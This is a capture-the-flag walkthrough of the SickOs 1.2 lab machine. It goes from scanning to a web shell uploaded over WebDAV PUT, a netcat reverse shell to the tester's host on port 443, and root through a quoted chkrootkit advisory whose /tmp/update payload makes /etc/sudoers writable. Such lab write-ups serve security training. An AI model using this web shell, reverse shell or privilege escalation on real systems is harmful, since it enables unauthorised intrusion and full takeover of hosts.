Sick OS 1.2
Diving right in:
$ nmap -nP 192.168.2.10/24
Nmap scan report for 192.168.2.18
Host is up (0.00071s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:18:F0:B3 (Oracle VirtualBox virtual NIC)
$ sudo nmap -O -p- 192.168.2.18
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-05 17:12 EST
Nmap scan report for 192.168.2.18
Host is up (0.00057s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 88:E9:FE:84:3E:BE (Apple)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.51 seconds
$ nikto --host 192.168.2.18 --port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.2.18
+ Target Hostname: 192.168.2.18
+ Target Port: 80
+ Start Time: 2021-01-05 17:05:22 (GMT-5)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26545 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2021-01-05 17:06:20 (GMT-5) (58 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
$ dirb http://192.168.2.18
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Jan 5 17:16:20 2021
URL_BASE: http://192.168.2.18/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.2.18/ ----
+ http://192.168.2.18/index.php (CODE:200|SIZE:163)
==> DIRECTORY: http://192.168.2.18/test/
---- Entering directory: http://192.168.2.18/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Tue Jan 5 17:16:22 2021
DOWNLOADED: 4612 - FOUND: 1
Root of webserver is simply a picture with no links or functionality
Also, in the index.php page at the bottom of the file:
<!-- NOTHING IN HERE ///\\\ -->>>>
/test from dirb discloses that it's using lighttpd/1.4.8:
The best we've got for lighthttpd is an information disclosure:
Let's give it a shot though, who knows!
$ head 31396.txt
source: https://www.securityfocus.com/bid/28226/info
The 'lighttpd' program is prone to a vulnerability that may allow attackers to access sensitive information because the application fails to properly handle exceptional conditions.
Information obtained may aid in further attacks.
This issue affects lighttpd 1.4.18; other versions may also be vulnerable.
http://www.example.com/~nobody/etc/passwd
No dice, this one doesn't work. Alright, let's start poking at ssh for a while.
$ msfconsole
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > set RHOST 192.168.2.18
RHOST => 192.168.2.18
msf6 auxiliary(scanner/ssh/ssh_version) > run
[+] 192.168.2.18:22 - SSH server version: SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.8 ( service.version=5.9p1 openssh.comment=Debian-5ubuntu1.8 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openbsd:openssh:5.9p1 os.vendor=Ubuntu os.family=Linux os.product=Linux os.version=12.04 os.cpe23=cpe:/o:canonical:ubuntu_linux:12.04 service.protocol=ssh fingerprint_db=ssh.banner )
[*] 192.168.2.18:22 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
No useful exploits for us to go off there...
Hmm, let's circle back to that /test directory and have a closer look. It seems now to be the easiest place to focus.
Check what else we can do at /test:
curl -v -i -X OPTIONS 192.168.2.18/test 5 ⨯
* Trying 192.168.2.18:80...
* Connected to 192.168.2.18 (192.168.2.18) port 80 (#0)
> OPTIONS /test HTTP/1.1
> Host: 192.168.2.18
> User-Agent: curl/7.72.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
HTTP/1.1 301 Moved Permanently
< DAV: 1,2
DAV: 1,2
< MS-Author-Via: DAV
MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Location: http://192.168.2.18/test/
Location: http://192.168.2.18/test/
< Content-Length: 0
Content-Length: 0
< Date: Tue, 05 Jan 2021 23:00:40 GMT
Date: Tue, 05 Jan 2021 23:00:40 GMT
< Server: lighttpd/1.4.28
Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.2.18 left intact
# We can use PUT method!
$ echo '<?php echo shell_exec($_GET["cmd"]);?>' > shell.php
$ curl --upload-file shell.php --url http://192.168.2.18/test/shell.php
Nice! Now let's use it and get a shell on the server!
# Local
$ nc -lp 4444
# In browser enter URL:
http://192.168.2.18/test/shell.php?cmd=nc%20192%0A168%0A2%0A16%206666%20%2De%20/bin/bash`
Hmm no dice... I tried all sorts of things until I realized the issue was the port was being blocked! 443 though is not in use, and generally allowed on a http server!
# Local
$ nc -nvlp 443
# In browser enter URL:
http://192.168.2.18/test/shell.php?cmd=nc%20192%0A168%0A2%0A16%20443%20%2De%20/bin/bash`
$ sudo nc -nvlp 443
[sudo] password for kali:
listening on [any] 443 ...
connect to [192.168.2.16] from (UNKNOWN) [192.168.2.18] 59078
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
15:40:06 up 1:42, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
And we have a shell!
$ python --version
Python 2.7.3
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/$ ls -al
ls -al
total 84
drwxr-xr-x 22 root root 4096 Mar 30 2016 .
drwxr-xr-x 22 root root 4096 Mar 30 2016 ..
drwxr-xr-x 2 root root 4096 Apr 12 2016 bin
drwxr-xr-x 3 root root 4096 Mar 30 2016 boot
drwxr-xr-x 14 root root 3920 Jan 5 08:58 dev
drwxr-xr-x 84 root root 4096 Jan 5 08:57 etc
drwxr-xr-x 3 root root 4096 Mar 30 2016 home
lrwxrwxrwx 1 root root 34 Mar 30 2016 initrd.img -> /boot/initrd.img-3.11.0-15-generic
drwxr-xr-x 17 root root 4096 Apr 12 2016 lib
drwx------ 2 root root 16384 Mar 30 2016 lost+found
drwxr-xr-x 4 root root 4096 Mar 30 2016 media
drwxr-xr-x 3 root root 4096 Mar 30 2016 mnt
drwxr-xr-x 2 root root 4096 Mar 30 2016 opt
dr-xr-xr-x 119 root root 0 Jan 5 13:57 proc
drwx------ 4 root root 4096 Apr 26 2016 root
drwxr-xr-x 14 root root 520 Jan 5 08:58 run
drwxr-xr-x 2 root root 4096 Apr 12 2016 sbin
drwxr-xr-x 2 root root 4096 Mar 5 2012 selinux
drwxr-xr-x 2 root root 4096 Mar 30 2016 srv
dr-xr-xr-x 13 root root 0 Jan 5 08:57 sys
drwxrwxrwt 2 root root 4096 Jan 5 15:41 tmp
drwxr-xr-x 10 root root 4096 Mar 30 2016 usr
drwxr-xr-x 12 root root 4096 Apr 26 2016 var
lrwxrwxrwx 1 root root 30 Mar 30 2016 vmlinuz -> boot/vmlinuz-3.11.0-15-generic
www-data@ubuntu:/$ cd /home
cd /home
www-data@ubuntu:/home$ ls -al
ls -al
total 12
drwxr-xr-x 3 root root 4096 Mar 30 2016 .
drwxr-xr-x 22 root root 4096 Mar 30 2016 ..
drwxr-xr-x 3 john john 4096 Apr 12 2016 john
www-data@ubuntu:/home$ cd john
cd john
www-data@ubuntu:/home/john$ ls -al
ls -al
total 28
drwxr-xr-x 3 john john 4096 Apr 12 2016 .
drwxr-xr-x 3 root root 4096 Mar 30 2016 ..
-rw------- 1 john john 61 Apr 26 2016 .bash_history
-rw-r--r-- 1 john john 220 Mar 30 2016 .bash_logout
-rw-r--r-- 1 john john 3486 Mar 30 2016 .bashrc
drwx------ 2 john john 4096 Mar 30 2016 .cache
-rw-r--r-- 1 john john 675 Mar 30 2016 .profile
# No kernel vulnerability for once!
www-data@ubuntu:/home/john$ uname -a
uname -a
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
# Check Cronjobs
www-data@ubuntu:/etc$ ls -al /etc/cron* /etc/at*
ls -al /etc/cron* /etc/at*
-rw-r----- 1 root daemon 144 Oct 25 2011 /etc/at.deny
-rw-r--r-- 1 root root 722 Jun 19 2012 /etc/crontab
ls: cannot open directory /etc/cron.d: Permission denied
/etc/cron.daily:
total 72
drwxr-xr-x 2 root root 4096 Apr 12 2016 .
drwxr-xr-x 84 root root 4096 Jan 5 08:57 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
-rwxr-xr-x 1 root root 15399 Nov 15 2013 apt
-rwxr-xr-x 1 root root 314 Apr 18 2013 aptitude
-rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils
-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit
-rwxr-xr-x 1 root root 256 Oct 14 2013 dpkg
-rwxr-xr-x 1 root root 338 Dec 20 2011 lighttpd
-rwxr-xr-x 1 root root 372 Oct 4 2011 logrotate
-rwxr-xr-x 1 root root 1365 Dec 28 2012 man-db
-rwxr-xr-x 1 root root 606 Aug 17 2011 mlocate
-rwxr-xr-x 1 root root 249 Sep 12 2012 passwd
-rwxr-xr-x 1 root root 2417 Jul 1 2011 popularity-contest
-rwxr-xr-x 1 root root 2947 Jun 19 2012 standard
/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 Mar 30 2016 .
drwxr-xr-x 84 root root 4096 Jan 5 08:57 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 Mar 30 2016 .
drwxr-xr-x 84 root root 4096 Jan 5 08:57 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
/etc/cron.weekly:
total 20
drwxr-xr-x 2 root root 4096 Mar 30 2016 .
drwxr-xr-x 84 root root 4096 Jan 5 08:57 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
-rwxr-xr-x 1 root root 730 Sep 13 2013 apt-xapian-index
-rwxr-xr-x 1 root root 907 Dec 28 2012 man-db
There's a few interesting ones in daily... poking around exploitdb...
Bingo?
www-data@ubuntu:/etc$ dpkg -l | grep chkrootkit
dpkg -l | grep chkrootkit
rc chkrootkit 0.49-4ubuntu1.1 rootkit detector
Yeah the versions match let's give it a shot!
We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).
The vulnerability is located in the function slapper() in the
shellscript chkrootkit:
#
# SLAPPER.{A,B,C,D} and the multi-platform variant
#
slapper (){
SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
OPT=-an
STATUS=0
file_port=
if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">
/dev/null 2>&1
then
STATUS=1
[ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
$egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print $7 }' |
tr -d :`
fi
for i in ${SLAPPER_FILES}; do
if [ -f ${i} ]; then
file_port=$file_port $i
STATUS=1
fi
done
if [ ${STATUS} -eq 1 ] ;then
echo "Warning: Possible Slapper Worm installed ($file_port)"
else
if [ "${QUIET}" != "t" ]; then echo "not infected"; fi
return ${NOT_INFECTED}
fi
}
The line 'file_port=$file_port $i' will execute all files specified in
$SLAPPER_FILES as the user chkrootkit is running (usually root), if
$file_port is empty, because of missing quotation marks around the
variable assignment.
Steps to reproduce:
- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)
Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.
If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.
Suggested fix: Put quotation marks around the assignment.
file_port="$file_port $i"
I will also try to contact upstream, although the latest version of
chkrootkit dates back to 2009 - will have to see, if I reach a dev there.
Okay... can we write to tmp?
www-data@ubuntu:/etc$ echo "test" > /tmp/test && cat /tmp/test
echo "test" > /tmp/test && cat /tmp/test
test
Okay, now we need a payload that'll give us root. What if I just give myself edit access to the sudoers file?
www-data@ubuntu:/etc$ echo 'chown www-data:www-data /etc/sudoers && touch /tmp/done' > /tmp/update
# Wait FOREVER for this to run, then edited sudoers
www-data@ubuntu:/etc$ sudo su
root@ubuntu:/etc$cd /root
root@ubuntu:/etc$ ls -lah
total 76K
drwx------ 4 root root 4.0K Apr 26 03:58 .
drwxr-xr-x 22 root root 4.0K Mar 30 04:57 ..
-rw-r--r-- 1 root root 39K Apr 9 2015 304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
-r-------- 1 root root 491 Apr 26 03:58 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
-rw------- 1 root root 3.0K Apr 26 04:01 .bash_history
-rw-r--r-- 1 root root 3.1K Apr 19 2012 .bashrc
drwx------ 2 root root 4.0K Apr 12 08:37 .cache
drwxr-xr-x 2 john john 4.0K Apr 12 08:42 chkrootkit-0.49
-rw-r--r-- 1 root root 541 Apr 25 22:48 newRule
-rw-r--r-- 1 root root 140 Apr 19 2012 .profile
root@ubuntu:/etc$ cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!